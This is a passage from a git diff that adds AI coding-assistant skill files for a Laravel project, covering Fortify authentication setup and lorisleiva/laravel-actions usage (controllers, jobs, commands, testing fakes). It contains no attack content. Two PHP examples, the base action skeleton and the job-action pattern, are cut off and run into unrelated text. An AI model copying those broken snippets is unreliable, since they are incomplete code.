+description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.'
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Fortify Development
+
+Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
+
+## Documentation
+
+Use `search-docs` for detailed Laravel Fortify patterns and documentation.
+
+## Usage
+
+- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
+- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
+- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
+- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
+- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
+
+## Available Features
+
+Enable in `config/fortify.php` features array:
+
+- `Features::registration()` - User registration
+- `Features::resetPasswords()` - Password reset via email
+- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
+- `Features::updateProfileInformation()` - Profile updates
+- `Features::updatePasswords()` - Password changes
+- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
+
+> Use `search-docs` for feature configuration options and customization patterns.
+
+## Setup Workflows
+
+### Two-Factor Authentication Setup
+
+```
+- [ ] Add TwoFactorAuthenticatable trait to User model
+- [ ] Enable feature in config/fortify.php
+- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate
+- [ ] Set up view callbacks in FortifyServiceProvider
+- [ ] Create 2FA management UI
+- [ ] Test QR code and recovery codes
+```
+
+> Use `search-docs` for TOTP implementation and recovery code handling patterns.
+
+### Email Verification Setup
+
+```
+- [ ] Enable emailVerification feature in config
+- [ ] Implement MustVerifyEmail interface on User model
+- [ ] Set up verifyEmailView callback
+- [ ] Add verified middleware to protected routes
+- [ ] Test verification email flow
+```
+
+> Use `search-docs` for MustVerifyEmail implementation patterns.
+
+### Password Reset Setup
+
+```
+- [ ] Enable resetPasswords feature in config
+- [ ] Set up requestPasswordResetLinkView callback
+- [ ] Set up resetPasswordView callback
+- [ ] Define password.reset named route (if views disabled)
+- [ ] Test reset email and link flow
+```
+
+> Use `search-docs` for custom password reset flow patterns.
+
+### SPA Authentication Setup
+
+```
+- [ ] Set 'views' => false in config/fortify.php
+- [ ] Install and configure Laravel Sanctum for session-based SPA authentication
+- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication)
+- [ ] Set up CSRF token handling
+- [ ] Test XHR authentication flows
+```
+
+> Use `search-docs` for integration and SPA authentication patterns.
+
+#### Two-Factor Authentication in SPA Mode
+
+When `views` is set to `false`, Fortify returns JSON responses instead of redirects.
+
+If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required:
+
+```json
+{
+ "two_factor": true
+}
+```
+
+## Best Practices
+
+### Custom Authentication Logic
+
+Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
+
+### Registration Customization
+
+Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
+
+### Rate Limiting
+
+Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
+
+## Key Endpoints
+
+| Feature | Method | Endpoint |
+|------------------------|----------|---------------------------------------------|
+| Login | POST | `/login` |
+| Logout | POST | `/logout` |
+| Register | POST | `/register` |
+| Password Reset Request | POST | `/forgot-password` |
+| Password Reset | POST | `/reset-password` |
+| Email Verify Notice | GET | `/email/verify` |
+| Resend Verification | POST | `/email/verification-notification` |
+| Password Confirm | POST | `/user/confirm-password` |
+| Enable 2FA | POST | `/user/two-factor-authentication` |
+| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
+| 2FA Challenge | POST | `/two-factor-challenge` |
+| Get QR Code | GET | `/user/two-factor-qr-code` |
+| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/SKILL.md b/.claude/skills/laravel-actions/SKILL.md
new file mode 100644
index 000000000..862dd55b5
--- /dev/null
+++ b/.claude/skills/laravel-actions/SKILL.md
@@ -0,0 +1,302 @@
+---
+name: laravel-actions
+description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+---
+
+# Laravel Actions or `lorisleiva/laravel-actions`
+
+## Overview
+
+Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns.
+
+## Quick Workflow
+
+1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`.
+2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`.
+3. Implement `handle(...)` with the core business logic first.
+4. Add adapter methods only when needed for the requested entrypoint:
+ - `asController` (+ route/invokable controller usage)
+ - `asJob` (+ dispatch)
+ - `asListener` (+ event listener wiring)
+ - `asCommand` (+ command signature/description)
+5. Add or update tests for the chosen entrypoint.
+6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`).
+
+## Base Action Pattern
+
+Use this minimal skeleton and expand only what is needed.
+
+```php
+handle($id)`.
+- Call with dependency injection: `app(PublishArticle::class)->handle($id)`.
+
+### Run as Controller
+
+- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`.
+- Add `asController(...)` for HTTP-specific adaptation and return a response.
+- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP.
+
+### Run as Job
+
+- Dispatch with `PublishArticle::dispatch($id)`.
+- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`.
+- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control.
+
+#### Project Pattern: Job Action with Extra Methods
+
+```php
+addMinutes(30);
+ }
+
+ public function getJobBackoff(): array
+ {
+ return [60, 120];
+ }
+
+ public function getJobUniqueId(Demo $demo): string
+ {
+ return $demo->id;
+ }
+
+ public function handle(Demo $demo): void
+ {
+ // Core business logic.
+ }
+
+ public function asJob(JobDecorator $job, Demo $demo): void
+ {
+ // Queue-specific orchestration and retry behavior.
+ $this->handle($demo);
+ }
+}
+```
+
+Use these members only when needed:
+
+- `$jobTries`: max attempts for the queued execution.
+- `$jobMaxExceptions`: max unhandled exceptions before failing.
+- `getJobRetryUntil()`: absolute retry deadline.
+- `getJobBackoff()`: retry delay strategy per attempt.
+- `getJobUniqueId(...)`: deduplication key for unique jobs.
+- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching.
+
+### Run as Listener
+
+- Register the action class as listener in `EventServiceProvider`.
+- Use `asListener(EventName $event)` and delegate to `handle(...)`.
+
+### Run as Command
+
+- Define `$commandSignature` and `$commandDescription` properties.
+- Implement `asCommand(Command $command)` and keep console IO in this method only.
+- Import `Command` with `use Illuminate\Console\Command;`.
+
+## Testing Guidance
+
+Use a two-layer strategy:
+
+1. `handle(...)` tests for business correctness.
+2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration.
+
+### Deep Dive: `AsFake` methods (2.x)
+
+Reference: https://www.laravelactions.com/2.x/as-fake.html
+
+Use these methods intentionally based on what you want to prove.
+
+#### `mock()`
+
+- Replaces the action with a full mock.
+- Best when you need strict expectations and argument assertions.
+
+```php
+PublishArticle::mock()
+ ->shouldReceive('handle')
+ ->once()
+ ->with(42)
+ ->andReturnTrue();
+```
+
+#### `partialMock()`
+
+- Replaces the action with a partial mock.
+- Best when you want to keep most real behavior but stub one expensive/internal method.
+
+```php
+PublishArticle::partialMock()
+ ->shouldReceive('fetchRemoteData')
+ ->once()
+ ->andReturn(['ok' => true]);
+```
+
+#### `spy()`
+
+- Replaces the action with a spy.
+- Best for post-execution verification ("was called with X") without predefining all expectations.
+
+```php
+$spy = PublishArticle::spy()->allows('handle')->andReturnTrue();
+
+// execute code that triggers the action...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+#### `shouldRun()`
+
+- Shortcut for `mock()->shouldReceive('handle')`.
+- Best for compact orchestration assertions.
+
+```php
+PublishArticle::shouldRun()->once()->with(42)->andReturnTrue();
+```
+
+#### `shouldNotRun()`
+
+- Shortcut for `mock()->shouldNotReceive('handle')`.
+- Best for guard-clause tests and branch coverage.
+
+```php
+PublishArticle::shouldNotRun();
+```
+
+#### `allowToRun()`
+
+- Shortcut for spy + allowing `handle`.
+- Best when you want execution to proceed but still assert interaction.
+
+```php
+$spy = PublishArticle::allowToRun()->andReturnTrue();
+// ...
+$spy->shouldHaveReceived('handle')->once();
+```
+
+#### `isFake()` and `clearFake()`
+
+- `isFake()` checks whether the class is currently swapped.
+- `clearFake()` resets the fake and prevents cross-test leakage.
+
+```php
+expect(PublishArticle::isFake())->toBeFalse();
+PublishArticle::mock();
+expect(PublishArticle::isFake())->toBeTrue();
+PublishArticle::clearFake();
+expect(PublishArticle::isFake())->toBeFalse();
+```
+
+### Recommended test matrix for Actions
+
+- Business rule test: call `handle(...)` directly with real dependencies/factories.
+- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`.
+- Job wiring test: dispatch action as job, assert expected downstream action calls.
+- Event listener test: dispatch event, assert action interaction via fake/spy.
+- Console test: run artisan command, assert action invocation and output.
+
+### Practical defaults
+
+- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests.
+- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification.
+- Prefer `mock()` when interaction contracts are strict and should fail fast.
+- Use `clearFake()` in cleanup when a fake might leak into another test.
+- Keep side effects isolated: fake only the action under test boundary, not everything.
+
+### Pest style examples
+
+```php
+it('dispatches the downstream action', function () {
+ SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0);
+
+ FinalizeInvoice::run(123);
+});
+
+it('does not dispatch when invoice is already sent', function () {
+ SendInvoiceEmail::shouldNotRun();
+
+ FinalizeInvoice::run(123, alreadySent: true);
+});
+```
+
+Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file.
+
+## Troubleshooting Checklist
+
+- Ensure the class uses `AsAction` and namespace matches autoload.
+- Check route registration when used as controller.
+- Check queue config when using `dispatch`.
+- Verify event-to-listener mapping in `EventServiceProvider`.
+- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`.
+
+## Common Pitfalls
+
+- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`.
+- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`.
+- Assuming listener wiring works without explicit registration where required.
+- Testing only entrypoints and skipping direct `handle(...)` behavior tests.
+- Overusing Actions for one-off, single-context logic with no reuse pressure.
+
+## Topic References
+
+Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules.
+
+- Object entrypoint: `references/object.md`
+- Controller entrypoint: `references/controller.md`
+- Job entrypoint: `references/job.md`
+- Listener entrypoint: `references/listener.md`
+- Command entrypoint: `references/command.md`
+- With attributes: `references/with-attributes.md`
+- Testing and fakes: `references/testing-fakes.md`
+- Troubleshooting: `references/troubleshooting.md`
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/command.md b/.claude/skills/laravel-actions/references/command.md
new file mode 100644
index 000000000..a7b255daf
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/command.md
@@ -0,0 +1,160 @@
+# Command Entrypoint (`asCommand`)
+
+## Scope
+
+Use this reference when exposing actions as Artisan commands.
+
+## Recap
+
+- Documents command execution via `asCommand(...)` and fallback to `handle(...)`.
+- Covers command metadata via methods/properties (signature, description, help, hidden).
+- Includes registration example and focused artisan test pattern.
+- Reinforces separation between console I/O and domain logic.
+
+## Recommended pattern
+
+- Define `$commandSignature` and `$commandDescription`.
+- Implement `asCommand(Command $command)` for console I/O.
+- Keep business logic in `handle(...)`.
+
+## Methods used (`CommandDecorator`)
+
+### `asCommand`
+
+Called when executed as a command. If missing, it falls back to `handle(...)`.
+
+```php
+use Illuminate\Console\Command;
+
+class UpdateUserRole
+{
+ use AsAction;
+
+ public string $commandSignature = 'users:update-role {user_id} {role}';
+
+ public function handle(User $user, string $newRole): void
+ {
+ $user->update(['role' => $newRole]);
+ }
+
+ public function asCommand(Command $command): void
+ {
+ $this->handle(
+ User::findOrFail($command->argument('user_id')),
+ $command->argument('role')
+ );
+
+ $command->info('Done!');
+ }
+}
+```
+
+### `getCommandSignature`
+
+Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set.
+
+```php
+public function getCommandSignature(): string
+{
+ return 'users:update-role {user_id} {role}';
+}
+```
+
+### `$commandSignature`
+
+Property alternative to `getCommandSignature`.
+
+```php
+public string $commandSignature = 'users:update-role {user_id} {role}';
+```
+
+### `getCommandDescription`
+
+Provides command description.
+
+```php
+public function getCommandDescription(): string
+{
+ return 'Updates the role of a given user.';
+}
+```
+
+### `$commandDescription`
+
+Property alternative to `getCommandDescription`.
+
+```php
+public string $commandDescription = 'Updates the role of a given user.';
+```
+
+### `getCommandHelp`
+
+Provides additional help text shown with `--help`.
+
+```php
+public function getCommandHelp(): string
+{
+ return 'My help message.';
+}
+```
+
+### `$commandHelp`
+
+Property alternative to `getCommandHelp`.
+
+```php
+public string $commandHelp = 'My help message.';
+```
+
+### `isCommandHidden`
+
+Defines whether command should be hidden from artisan list. Default is `false`.
+
+```php
+public function isCommandHidden(): bool
+{
+ return true;
+}
+```
+
+### `$commandHidden`
+
+Property alternative to `isCommandHidden`.
+
+```php
+public bool $commandHidden = true;
+```
+
+## Examples
+
+### Register in console kernel
+
+```php
+// app/Console/Kernel.php
+protected $commands = [
+ UpdateUserRole::class,
+];
+```
+
+### Focused command test
+
+```php
+$this->artisan('users:update-role 1 admin')
+ ->expectsOutput('Done!')
+ ->assertSuccessful();
+```
+
+## Checklist
+
+- `use Illuminate\Console\Command;` is imported.
+- Signature/options/arguments are documented.
+- Command test verifies invocation and output.
+
+## Common pitfalls
+
+- Mixing command I/O with domain logic in `handle(...)`.
+- Missing/ambiguous command signature.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-command.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/controller.md b/.claude/skills/laravel-actions/references/controller.md
new file mode 100644
index 000000000..d48c34df8
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/controller.md
@@ -0,0 +1,339 @@
+# Controller Entrypoint (`asController`)
+
+## Scope
+
+Use this reference when exposing an action through HTTP routes.
+
+## Recap
+
+- Documents controller lifecycle around `asController(...)` and response adapters.
+- Covers routing patterns, middleware, and optional in-action `routes()` registration.
+- Summarizes validation/authorization hooks used by `ActionRequest`.
+- Provides extension points for JSON/HTML responses and failure customization.
+
+## Recommended pattern
+
+- Route directly to action class when appropriate.
+- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`).
+- Keep domain logic in `handle(...)`.
+
+## Methods provided (`AsController` trait)
+
+### `__invoke`
+
+Required so Laravel can register the action class as an invokable controller.
+
+```php
+$action($someArguments);
+
+// Equivalent to:
+$action->handle($someArguments);
+```
+
+If the method does not exist, Laravel route registration fails for invokable controllers.
+
+```php
+// Illuminate\Routing\RouteAction
+protected static function makeInvokable($action)
+{
+ if (! method_exists($action, '__invoke')) {
+ throw new UnexpectedValueException("Invalid route action: [{$action}].");
+ }
+
+ return $action.'@__invoke';
+}
+```
+
+If you need your own `__invoke`, alias the trait implementation:
+
+```php
+class MyAction
+{
+ use AsAction {
+ __invoke as protected invokeFromLaravelActions;
+ }
+
+ public function __invoke()
+ {
+ // Custom behavior...
+ }
+}
+```
+
+## Methods used (`ControllerDecorator` + `ActionRequest`)
+
+### `asController`
+
+Called when used as invokable controller. If missing, it falls back to `handle(...)`.
+
+```php
+public function asController(User $user, Request $request): Response
+{
+ $article = $this->handle(
+ $user,
+ $request->get('title'),
+ $request->get('body')
+ );
+
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `jsonResponse`
+
+Called after `asController` when request expects JSON.
+
+```php
+public function jsonResponse(Article $article, Request $request): ArticleResource
+{
+ return new ArticleResource($article);
+}
+```
+
+### `htmlResponse`
+
+Called after `asController` when request expects HTML.
+
+```php
+public function htmlResponse(Article $article, Request $request): Response
+{
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `getControllerMiddleware`
+
+Adds middleware directly on the action controller.
+
+```php
+public function getControllerMiddleware(): array
+{
+ return ['auth', MyCustomMiddleware::class];
+}
+```
+
+### `routes`
+
+Defines routes directly in the action.
+
+```php
+public static function routes(Router $router)
+{
+ $router->get('author/{author}/articles', static::class);
+}
+```
+
+To enable this, register routes from actions in a service provider:
+
+```php
+use Lorisleiva\Actions\Facades\Actions;
+
+Actions::registerRoutes();
+Actions::registerRoutes('app/MyCustomActionsFolder');
+Actions::registerRoutes([
+ 'app/Authentication',
+ 'app/Billing',
+ 'app/TeamManagement',
+]);
+```
+
+### `prepareForValidation`
+
+Called before authorization and validation are resolved.
+
+```php
+public function prepareForValidation(ActionRequest $request): void
+{
+ $request->merge(['some' => 'additional data']);
+}
+```
+
+### `authorize`
+
+Defines authorization logic.
+
+```php
+public function authorize(ActionRequest $request): bool
+{
+ return $request->user()->role === 'author';
+}
+```
+
+You can also return gate responses:
+
+```php
+use Illuminate\Auth\Access\Response;
+
+public function authorize(ActionRequest $request): Response
+{
+ if ($request->user()->role !== 'author') {
+ return Response::deny('You must be an author to create a new article.');
+ }
+
+ return Response::allow();
+}
+```
+
+### `rules`
+
+Defines validation rules.
+
+```php
+public function rules(): array
+{
+ return [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ];
+}
+```
+
+### `withValidator`
+
+Adds custom validation logic with an after hook.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function withValidator(Validator $validator, ActionRequest $request): void
+{
+ $validator->after(function (Validator $validator) use ($request) {
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+ });
+}
+```
+
+### `afterValidator`
+
+Alternative to add post-validation checks.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function afterValidator(Validator $validator, ActionRequest $request): void
+{
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+}
+```
+
+### `getValidator`
+
+Provides a custom validator instead of default rules pipeline.
+
+```php
+use Illuminate\Validation\Factory;
+use Illuminate\Validation\Validator;
+
+public function getValidator(Factory $factory, ActionRequest $request): Validator
+{
+ return $factory->make($request->only('title', 'body'), [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ]);
+}
+```
+
+### `getValidationData`
+
+Defines which data is validated (default: `$request->all()`).
+
+```php
+public function getValidationData(ActionRequest $request): array
+{
+ return $request->all();
+}
+```
+
+### `getValidationMessages`
+
+Custom validation error messages.
+
+```php
+public function getValidationMessages(): array
+{
+ return [
+ 'title.required' => 'Looks like you forgot the title.',
+ 'body.required' => 'Is that really all you have to say?',
+ ];
+}
+```
+
+### `getValidationAttributes`
+
+Human-friendly names for request attributes.
+
+```php
+public function getValidationAttributes(): array
+{
+ return [
+ 'title' => 'headline',
+ 'body' => 'content',
+ ];
+}
+```
+
+### `getValidationRedirect`
+
+Custom redirect URL on validation failure.
+
+```php
+public function getValidationRedirect(UrlGenerator $url): string
+{
+ return $url->to('/my-custom-redirect-url');
+}
+```
+
+### `getValidationErrorBag`
+
+Custom error bag name on validation failure (default: `default`).
+
+```php
+public function getValidationErrorBag(): string
+{
+ return 'my_custom_error_bag';
+}
+```
+
+### `getValidationFailure`
+
+Override validation failure behavior.
+
+```php
+public function getValidationFailure(): void
+{
+ throw new MyCustomValidationException();
+}
+```
+
+### `getAuthorizationFailure`
+
+Override authorization failure behavior.
+
+```php
+public function getAuthorizationFailure(): void
+{
+ throw new MyCustomAuthorizationException();
+}
+```
+
+## Checklist
+
+- Route wiring points to the action class.
+- `asController(...)` delegates to `handle(...)`.
+- Validation/authorization methods are explicit where needed.
+- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful.
+- HTTP tests cover both success and validation/authorization failure branches.
+
+## Common pitfalls
+
+- Putting response/redirect logic in `handle(...)`.
+- Duplicating business rules in `asController(...)` instead of delegating.
+- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-controller.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/job.md b/.claude/skills/laravel-actions/references/job.md
new file mode 100644
index 000000000..b4c7cbea0
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/job.md
@@ -0,0 +1,425 @@
+# Job Entrypoint (`dispatch`, `asJob`)
+
+## Scope
+
+Use this reference when running an action through queues.
+
+## Recap
+
+- Lists async/sync dispatch helpers and conditional dispatch variants.
+- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`.
+- Documents queue assertion helpers for tests (`assertPushed*`).
+- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling.
+
+## Recommended pattern
+
+- Dispatch with `Action::dispatch(...)` for async execution.
+- Keep queue-specific orchestration in `asJob(...)`.
+- Keep reusable business logic in `handle(...)`.
+
+## Methods provided (`AsJob` trait)
+
+### `dispatch`
+
+Dispatches the action asynchronously.
+
+```php
+SendTeamReportEmail::dispatch($team);
+```
+
+### `dispatchIf`
+
+Dispatches asynchronously only if condition is met.
+
+```php
+SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team);
+```
+
+### `dispatchUnless`
+
+Dispatches asynchronously unless condition is met.
+
+```php
+SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team);
+```
+
+### `dispatchSync`
+
+Dispatches synchronously.
+
+```php
+SendTeamReportEmail::dispatchSync($team);
+```
+
+### `dispatchNow`
+
+Alias of `dispatchSync`.
+
+```php
+SendTeamReportEmail::dispatchNow($team);
+```
+
+### `dispatchAfterResponse`
+
+Dispatches synchronously after the HTTP response is sent.
+
+```php
+SendTeamReportEmail::dispatchAfterResponse($team);
+```
+
+### `makeJob`
+
+Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains.
+
+```php
+dispatch(SendTeamReportEmail::makeJob($team));
+```
+
+### `makeUniqueJob`
+
+Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced.
+
+```php
+dispatch(SendTeamReportEmail::makeUniqueJob($team));
+```
+
+### `withChain`
+
+Attaches jobs to run after successful processing.
+
+```php
+$chain = [
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+];
+
+CreateNewTeamReport::withChain($chain)->dispatch($team);
+```
+
+Equivalent using `Bus::chain(...)`:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::chain([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+])->dispatch();
+```
+
+Chain assertion example:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::fake();
+
+Bus::assertChained([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+]);
+```
+
+### `assertPushed`
+
+Asserts the action was queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushed();
+SendTeamReportEmail::assertPushed(3);
+SendTeamReportEmail::assertPushed($callback);
+SendTeamReportEmail::assertPushed(3, $callback);
+```
+
+`$callback` receives:
+- Action instance.
+- Dispatched arguments.
+- `JobDecorator` instance.
+- Queue name.
+
+### `assertNotPushed`
+
+Asserts the action was not queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertNotPushed();
+SendTeamReportEmail::assertNotPushed($callback);
+```
+
+### `assertPushedOn`
+
+Asserts the action was queued on a specific queue.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushedOn('reports');
+SendTeamReportEmail::assertPushedOn('reports', 3);
+SendTeamReportEmail::assertPushedOn('reports', $callback);
+SendTeamReportEmail::assertPushedOn('reports', 3, $callback);
+```
+
+## Methods used (`JobDecorator`)
+
+### `asJob`
+
+Called when dispatched as a job. Falls back to `handle(...)` if missing.
+
+```php
+class SendTeamReportEmail
+{
+ use AsAction;
+
+ public function handle(Team $team, bool $fullReport = false): void
+ {
+ // Prepare report and send it to all $team->users.
+ }
+
+ public function asJob(Team $team): void
+ {
+ $this->handle($team, true);
+ }
+}
+```
+
+### `getJobMiddleware`
+
+Adds middleware to the queued action.
+
+```php
+public function getJobMiddleware(array $parameters): array
+{
+ return [new RateLimited('reports')];
+}
+```
+
+### `configureJob`
+
+Configures `JobDecorator` options.
+
+```php
+use Lorisleiva\Actions\Decorators\JobDecorator;
+
+public function configureJob(JobDecorator $job): void
+{
+ $job->onConnection('my_connection')
+ ->onQueue('my_queue')
+ ->through(['my_middleware'])
+ ->chain(['my_chain'])
+ ->delay(60);
+}
+```
+
+### `$jobConnection`
+
+Defines queue connection.
+
+```php
+public string $jobConnection = 'my_connection';
+```
+
+### `$jobQueue`
+
+Defines queue name.
+
+```php
+public string $jobQueue = 'my_queue';
+```
+
+### `$jobTries`
+
+Defines max attempts.
+
+```php
+public int $jobTries = 10;
+```
+
+### `$jobMaxExceptions`
+
+Defines max unhandled exceptions before failure.
+
+```php
+public int $jobMaxExceptions = 3;
+```
+
+### `$jobBackoff`
+
+Defines retry delay seconds.
+
+```php
+public int $jobBackoff = 60;
+```
+
+### `getJobBackoff`
+
+Defines retry delay (int or per-attempt array).
+
+```php
+public function getJobBackoff(): int
+{
+ return 60;
+}
+
+public function getJobBackoff(): array
+{
+ return [30, 60, 120];
+}
+```
+
+### `$jobTimeout`
+
+Defines timeout in seconds.
+
+```php
+public int $jobTimeout = 60 * 30;
+```
+
+### `$jobRetryUntil`
+
+Defines timestamp retry deadline.
+
+```php
+public int $jobRetryUntil = 1610191764;
+```
+
+### `getJobRetryUntil`
+
+Defines retry deadline as `DateTime`.
+
+```php
+public function getJobRetryUntil(): DateTime
+{
+ return now()->addMinutes(30);
+}
+```
+
+### `getJobDisplayName`
+
+Customizes queued job display name.
+
+```php
+public function getJobDisplayName(): string
+{
+ return 'Send team report email';
+}
+```
+
+### `getJobTags`
+
+Adds queue tags.
+
+```php
+public function getJobTags(Team $team): array
+{
+ return ['report', 'team:'.$team->id];
+}
+```
+
+### `getJobUniqueId`
+
+Defines uniqueness key when using `ShouldBeUnique`.
+
+```php
+public function getJobUniqueId(Team $team): int
+{
+ return $team->id;
+}
+```
+
+### `$jobUniqueId`
+
+Static uniqueness key alternative.
+
+```php
+public string $jobUniqueId = 'some_static_key';
+```
+
+### `getJobUniqueFor`
+
+Defines uniqueness lock duration in seconds.
+
+```php
+public function getJobUniqueFor(Team $team): int
+{
+ return $team->role === 'premium' ? 1800 : 3600;
+}
+```
+
+### `$jobUniqueFor`
+
+Property alternative for uniqueness lock duration.
+
+```php
+public int $jobUniqueFor = 3600;
+```
+
+### `getJobUniqueVia`
+
+Defines cache driver used for uniqueness lock.
+
+```php
+public function getJobUniqueVia()
+{
+ return Cache::driver('redis');
+}
+```
+
+### `$jobDeleteWhenMissingModels`
+
+Property alternative for missing model handling.
+
+```php
+public bool $jobDeleteWhenMissingModels = true;
+```
+
+### `getJobDeleteWhenMissingModels`
+
+Defines whether jobs with missing models are deleted.
+
+```php
+public function getJobDeleteWhenMissingModels(): bool
+{
+ return true;
+}
+```
+
+### `jobFailed`
+
+Handles job failure. Receives exception and dispatched parameters.
+
+```php
+public function jobFailed(?Throwable $e, ...$parameters): void
+{
+ // Notify users, report errors, trigger compensations...
+}
+```
+
+## Checklist
+
+- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`).
+- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`).
+- Retry/backoff/timeout policies are intentional.
+- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required.
+- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`).
+
+## Common pitfalls
+
+- Embedding domain logic only in `asJob(...)`.
+- Forgetting uniqueness/timeout/retry controls on heavy jobs.
+- Missing queue-specific assertions in tests.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-job.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/listener.md b/.claude/skills/laravel-actions/references/listener.md
new file mode 100644
index 000000000..c5233001d
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/listener.md
@@ -0,0 +1,81 @@
+# Listener Entrypoint (`asListener`)
+
+## Scope
+
+Use this reference when wiring actions to domain/application events.
+
+## Recap
+
+- Shows how listener execution maps event payloads into `handle(...)` arguments.
+- Describes `asListener(...)` fallback behavior and adaptation role.
+- Includes event registration example for provider wiring.
